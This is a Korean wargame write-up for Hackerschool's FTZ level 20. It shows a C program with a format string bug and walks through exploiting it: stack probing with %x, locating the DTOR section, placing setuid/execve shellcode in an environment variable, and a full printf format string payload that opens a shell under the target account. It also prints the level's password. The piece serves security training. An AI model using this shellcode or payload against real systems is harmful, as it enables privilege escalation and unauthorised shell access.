FTZ level20

c0wb3ll ㅣ 2020. 3. 12. 04:59

FTZ level20

문제

[level20@ftz level20]$ cat hint

#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
  setreuid(3101,3101);
  fgets(bleh,79,stdin);
  printf(bleh);
}   

[level20@ftz level20]$ 
  1. bleh의 크기는 80이다.
  2. fgets() 함수를 이용해 bleh에 최대 79byte만큼 입력받는다.
  3. bleh를 출력한다.

fgets() 함수의 최대 입력 크기를 지정함으로서 BOF를 잘 막아둔 소스코드이다. 그렇지만 이 소스코드에도 취약한 점이 존재한다.


취약점

//#include <stdio.h>
//main(int argc,char **argv)
//{ char bleh[80];
  //setreuid(3101,3101);
  //fgets(bleh,79,stdin);
  printf(bleh);
//}   

취약점은 바로 저 부분 때문에 발생한다. 포맷스트링을 이용한 출력방식이 아니기 때문에 FSB를 통해서 쉘을 딸 수 있을 것 같다.


풀이

[level20@ftz level20]$ ./attackme
AAAA %x %x %x %x %x %x %x %x
AAAA 4f 4212ecc0 4207a750 41414141 20782520 25207825 78252078 20782520
[level20@ftz level20]$ 

AAAA를 입력한 뒤 %x를 입력하여 버퍼의 위치가 얼마나 떨어져 있는지 확인하는 과정이다.

[level20@ftz tmp]$ nm attackme | grep DTOR
08049598 d __DTOR_END__
08049594 d __DTOR_LIST__
[level20@ftz tmp]$ 

DTOR의 위치를 알아보자.

DTOR 앞자리 = 0x08049598

DTOR 뒷자리 = 0x0804959a

[level20@ftz level20]$ export env=$(python -c "print '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'")

환경변수에 쉘코드를 올려주자.

[level20@ftz tmp]$ ./environm
bfffff5d
[level20@ftz tmp]$ 

환경변수의 주소는 0xbfffff5d인 것을 확인하였다.

환경변수 뒷자리 = ff5d = 65,373

넣어야할 환경변수 뒷자리 = 65,373 - 28 = 65,345

환경변수 앞자리 = bfff = 49,151

넣어야할 환경변수 앞자리 = 49,151 - 65,383 = 1bfff - 65,383 = 49,314

익스코드

[level20@ftz level20]$ (python -c "print '\x98\x95\x04\x08' + 'AAAA' + '\x9a\x95\x04\x08' + '%8x%8x' + '%65345c%n' + '%49314c%n'";cat) | ./attackme
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)

성공적으로 FTZ를 마쳣다!

my-pass
TERM environment variable not set.

clear Password is "i will come in a minute".
웹에서 등록하세요.

* 해커스쿨의 든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.
[clear@ftz clear]$ 

와! FTZ가 끝났으니 이제 LOB를 하러 가여겠다.